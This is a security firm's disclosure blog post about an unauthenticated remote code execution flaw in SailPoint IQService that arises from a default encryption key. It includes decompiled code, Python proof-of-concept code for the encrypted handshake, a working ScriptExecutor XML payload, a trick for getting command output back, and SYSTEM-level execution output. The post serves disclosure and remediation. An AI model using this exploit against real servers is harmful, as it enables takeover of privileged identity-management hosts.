Set Sail: Remote Code Execution in SailPoint IQService via Default Encryption Key

During an Internal Network Penetration Test, NetSPI identified a vulnerability affecting a component of SailPoint, a highly privileged Identity and Access Management solution. The affected IQService component is used primarily for syncing changes between Active Directory and SailPoint. This blog walks through the discovery methods, exploit development, and remediation guidance.
Vulnerability Overview
SailPoint IQService before IQService-May-2025 is affected by a Remote Code Execution vulnerability. This is considered to be a configuration issue which impacts servers deployed using the default settings.
When deployed using default settings, the IQService RPC Server:
- Relies on a hard-coded encryption key to encrypt communications and prevent unauthorized requests
- Does not enforce user authentication
- Does not use SSL/TLS
As a result, an attacker who knows the default encryption key can send a crafted request to the service to execute arbitrary code.
At the time of disclosure, the default encryption key (intended for demo and test environments) was contained in a publicly available DLL file. This key should be considered compromised and not trusted for production use.
Discovery
Initial Detection
The first indication of this vulnerability was from a generally innocuous vulnerability scan result: Unknown Service Detection: Banner Retrieval on port 5050/tcp.
Initially, the response looked to be unreadable due to obfuscation or encryption. However, certain patterns could be observed in the response structure:
- Short base64 string
- CRLF (\x0d\x0a)
- Longer base64 string
- CRLF (\x0d\x0a)
echo 000 | nc 10.1.1.10 5050 | awk '{print length,$0}'
echo 000 | nc 10.1.1.10 5050 | awk '{print length,$0}' 45 sJjfyFX9J1T96hfaSolf7RO7O8Yesw5MATGi9slfSgQ= 301 LlUVepGTaltU9RCnNTZdXeI9WtaFpRA6zGd4f2DIr/kNKOTmZZsrz1jkHkPz0B0YIZCe7rapsxc++NwKovFh1hEqoXeLcn0MatLOkH6lhE5RIGF+pZDNbETeKoaI[TRUNCATED] 1
We’ll get into why this one returned more data in a moment:
echo C000 | nc 10.1.1.10 5050 | awk '{print length,$0}'
echo C000 | nc 10.1.1.10 5050 | awk '{print length,$0}' 65 5YRkX00nr/4ypYPTkrDi59MZG8WdQdBO+P4GOw4His18PmgCKZnDJJKPrXvJeN3M 493 eEUNSV/9UQ0rLc8Nj0yI8g6SkkwDvS3XAQc95UIn3KOosPgBW2TYVVReafUyW2p9V4/Yxkd2JJOrEsrPn7ca6X8XcmtSJps5gUkbF1cq1CEb8rWfHUsaoz7dzMArsqrWo4RFL[TRUNCATED] 1
This gave some indication that the server was responding in a predictable way, not just returning a random set of binary values. From this point, it was a matter of understanding the target server and environment.
Information we had to work with:
- Windows server
- Service listening on 5050/tcp
- “IAM” contained in target hostname
- Other servers in the environment with “SAIL” in the hostname
Eventually, searching led to the right target – SailPoint IQService. SailPoint’s description of the service:
IQService is a windows based agent written in .net languages. It leverages APIs provided in Windows environments to provide provisioning services for IdentityIQ’s/ IdentityNow’s Java based technologies. IQService is installed as a service running on a Windows OS based host. By default it listens on TCP port 5050 for requests from IdentityIQ/Virtual Appliance systems.
At the time of disclosure, the server software was publicly available for download.

Target acquired! Time to break out the debugger.
Code Analysis
Unzipping the IQService package revealed several EXE and DLL files. Since it was a .NET application, dnSpy was able to open these binaries for a clean view into what our target was doing.
The nature of the base64 strings returned in the server response gave the impression that there was some sort of encryption in use. Searching for “decrypt” led to the Scrambler class in RPCServer.dll:

One of the best features of dnSpy is its Analyze function. This creates a tree view which can help with following the application logic (as well as providing an endless supply of rabbit holes for security researchers).

Following this trail finally led to the UUID string:

There’s our default key! If no other encryption key was defined, the first 16 bytes would be used by default:
private static byte[] getKeyBytes() { string s = Util.UUID.Substring(0, 16); UTF8Encoding utf8Encoding = new UTF8Encoding(); return utf8Encoding.GetBytes(s); }
However, this alone was not enough to decrypt the traffic from the server. Further analysis revealed that there was a handshake process involved, in which the client and server agreed on encryption methods and a session key.
sailpoint.rpcserver.RpcHandler.readSessionKey() : string @060000B6 Used By sailpoint.rpcserver.RpcHandler.getPayLoad() : string @060000BD Used By sailpoint.rpcserver.RpcHandler.doHandShake() : void @060000C3 Used By sailpoint.rpcserver.RpcHandler.processRequest() : void @060000AF
Contents of sailpoint.rpcserver.RpcHandler.readSessionKey():
private string readSessionKey() { byte[] buffer = new byte[1]; string text = this.ReadFromStream(this._networkStream, buffer, 0, 1); string lengthAsString; if ("C".Equals(text) || "$".Equals(text)) { this._cipherModeCBC = true; byte[] buffer2 = new byte[4]; lengthAsString = this.ReadFromStream(this._networkStream, buffer2, 0, 4); } else { byte[] buffer3 = new byte[3]; lengthAsString = text + this.ReadFromStream(this._networkStream, buffer3, 0, 3); } int payloadSize = this.GetPayloadSize(lengthAsString); byte[] buffer4 = new byte[payloadSize]; return this.ReadFromStream(this._networkStream, buffer4, 0, payloadSize); }
Payload Header
Analysis of readSessionKey(), getPayLoad(), and PayloadHeader revealed important pieces of the expected RPC packet:
- If the first byte is C or $, it will use CBC cipher mode.
- This is why sending messages starting with C to the server resulted in longer responses – longer error messages.
- The next bytes indicate the length of the encrypted session key.
- If no other key is defined, the default AES key UUID is used to encrypt the session key.
- The agreed upon session key is then used to encrypt the PayloadHeader, which follows the format:
- packetId, version, type, payloadSize
With this information, we can successfully establish an encrypted session with the RPC server! Here is the piece of the PoC code used for generating the header. In order to simplify the encryption/decryption process, it uses the same default key for the Session Key.
# RPC PayloadHeader: packetId, version, type, payloadSize payload_length = str(len(enc_xml)).zfill(10) header = f'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, 2.0, rpc, {payload_length}' header = bytes(header, 'utf-8') # Same key for both to keep it simple enc_header = do_encrypt(clear_bytes=header, key=key, iv=iv, label="payload_header") enc_session_key = do_encrypt(clear_bytes=key, key=key, iv=iv, label="session_key") enc_key_len = str(len(enc_session_key)).zfill(4) # Combine everything into the final payload # Start with 'C' or '$' to indicate CBC payload_string = f'C{enc_key_len}{enc_session_key}{enc_header}\n{enc_xml}' log.debug(f'Payload string: {payload_string}') payload_bytes = bytes(payload_string, 'utf-8')
RPC Request Format
This allowed for initial communication, but caused the server to error out without a valid request body. Analyzing sailpoint.objects.RpcRequest from RPCServer.dll provided information on the expected XML-RPC format:
// sailpoint.objects.RpcRequest // Token: 0x06000029 RID: 41 RVA: 0x00002444 File Offset: 0x00000644 public override void parseXml(XmlReader reader) { reader.MoveToContent(); if (reader.Name != "RpcRequest") { throw new ApplicationException("RpcRequest element not found. Instead found [" + reader.Name + "]"); } string attribute = reader.GetAttribute("service"); this.Service = attribute; string attribute2 = reader.GetAttribute("method"); this.Method = attribute2; string attribute3 = reader.GetAttribute("version"); this.Version = attribute3; string attribute4 = reader.GetAttribute("requestId"); this.Id = attribute4; while (reader.Read()) { XmlNodeType nodeType = reader.NodeType; string name = reader.Name; if (nodeType == XmlNodeType.Element && name == "Arguments") { XmlReader xmlReader = XmlUtil.ReadSubtree(reader); if (xmlReader != null) { xmlReader.Read(); xmlReader.Read(); Hashtable hashtable = (Hashtable)RpcRequest._xmlFactory.parseObject(xmlReader); if (hashtable != null) { this._arguments = hashtable; } xmlReader.Close(); } } } }
Available services were listed under sailpoint.services. The ScriptExecutorService was of particular note for anyone aiming to run code on the server:

After some further analysis and testing, we created a functional runBeforeScript XML payload:
<RpcRequest method="runBeforeScript" requestId="0000000000000000" service="ScriptExecutor"> <Arguments> <Map> <entry key="Application"> <value> <Attributes/> </value> </entry> <entry key="preScript"> <value> <Rule key="Rule"> <Source>whoami</Source> </Rule> </value> </entry> <entry key="Request"> <value> <AccountRequest/> </value> </entry> </Map> </Arguments> </RpcRequest>
Watching the IQService server logs as the RPC request was sent, and..… confirmed unauthenticated remote code execution!
02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Script File : C:\IQService_Feb2025\Script_0000000000000000.bat" 02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Return File : C:\IQService_Feb2025\Script_0000000000000000.tmp" 02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Arguments = /C call "C:\IQService_Feb2025\Script_0000000000000000.bat" "C:\IQService_Feb2025\Script_0000000000000000.tmp"" 02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Added environment variable : SP_NativeIdentity = " 02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Started process" C:\IQService_Feb2025>whoami nt authority\system 02/23/2025 00:18:01 : AbstractConnector [ Thread-13 ] DEBUG : "Script return code : 0"

Getting Results
Only one piece was missing: returning the command output. Conveniently, sailpoint.services.AbstractConnector.executePreScript() had a solution available:
string path = Path.GetDirectoryName(Application.ExecutablePath) + "\\Script_" + this._requestID + ".tmp"; newResult.Errors.Add("Before Script returned non-zero exit code : " + text2);
- The server would normally attempt to write the output received from the API to a file called Script_{requestID}.tmp
- If the script encountered an error, the RPC response would include the script output.
We can trigger this by redirecting output to that temp file, and intentionally appending &0 to the command. This will work as long as 0.exe is not a valid executable on the target system’s path. The server response now includes:
<RpcResponse version="1.0" requestId="0000000000000000" complete="true"> <RpcErrors> <List> <String>Before Script returned non-zero exit code : 1 : nt authority\system</String> </List> </RpcErrors>
Proof of Concept
After putting it all together, we have a fully functioning RCE script. The Check argument can be used to simply test for successful encryption and decryption without executing further commands.
python3 sailpoint_iqservice_rce.py 10.1.1.10 --check 2025-02-23 02:01:52 | 165:process_response() | VULNERABLE - 10.1.1.10:5050 python3 sailpoint_iqservice_rce.py 10.1.1.10 -c '.\IQService.exe -v' >>> .\IQService.exe -v ServiceName : IQService-Instance1 Display Name : SailPoint IQService-Instance1 Configured Port : 5050 Connection Read Timeout : 15 Update Interval : 30 Build version : IQService-Feb-2025 Build timestamp : 02/06/2025 03:31 AM -0600 Build location : master Build builder : jenkins Build Number : 778 Executable : C:\IQService_Feb2025\IQService.exe File Size : 78520 File Date : 2/6/2025 3:32:22 AM Trace Level : 3 [ debug ] Connection to port 5050 uses default encryption keys. Note: SailPoint recommends to configure Client Authentication and TLS Communication between IdentityNow and IQService to appropriately secure the communication with the IQService!
Assembled proof of concept exploit code can be found here: https://github.com/NetSPI/set_sail
Vendor Response
SailPoint Remediation Actions
- Disable script execution when TLS is not configured with IQService.
- Enforcing installation of IQService on TLS port by default and showing the warning message regarding risks associated with non-TLS configuration.
- Removed the public access and embed EULA during download of IQService.
- Guide updated to remove the download link and now users can download it from source UI.
Conclusion
Remediation Guidance
- Update IQService to the most recent version to ensure the availability and enforcement of security enhancements.
- Configure TLS communication and Client Authentication between the VA and IQService.
- Restrict authorized accounts to only those necessary to run the service.
- Restrict network access to the IQService server using firewall rules.
- Ensure that IQService is not accessible from the public internet.
- Understand that many tools are insecure by default. Apply the necessary settings to remove test and debug features.
References
Proof of Concept https://github.com/NetSPI/set_sail
- Introduction to IQService
https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/intro.html - Secure Communication Between VA and IQService https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/secure_communication.html
- Configuring TLS and Client Authentication for IQService https://documentation.sailpoint.com/connectors/iqservice/help/common/topics/configuring_tls_and_client_authentication_for_iqservice.html
- Installing and Registering IQService
https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/install_register.html - IQService-May-2025 Release Notes
https://developer.sailpoint.com/discuss/t/new-capability-integration-service-iqservice-may-2025-is-now-live/103924
https://community.sailpoint.com/t5/Identity-Security-Cloud-Updates/New-Capability-Integration-Service-IQService-May-2025-is-now/ba-p/269697 - dnSpy https://github.com/dnSpy/dnSpy
Explore More Blog Posts

Penetration Testing for Compliance: Achieving SOC 2, PCI DSS, and HIPAA
Discover how penetration testing ensures compliance with SOC 2, PCI DSS, and HIPAA, safeguarding data, mitigating risks, and building trust in a data-driven world.

Automating Azure App Services Token Decryption
Discover how to decrypt Azure App Services authentication tokens automatically using MicroBurst’s tooling to extract encrypted tokens for security testing.

3 Lessons Learned from Simulating Attacks in the Cloud
Learn key lessons from NetSPI’s work simulating attacks in the cloud. Learn how Breach and Attack Simulation improves cloud security, logging, and detection capabilities.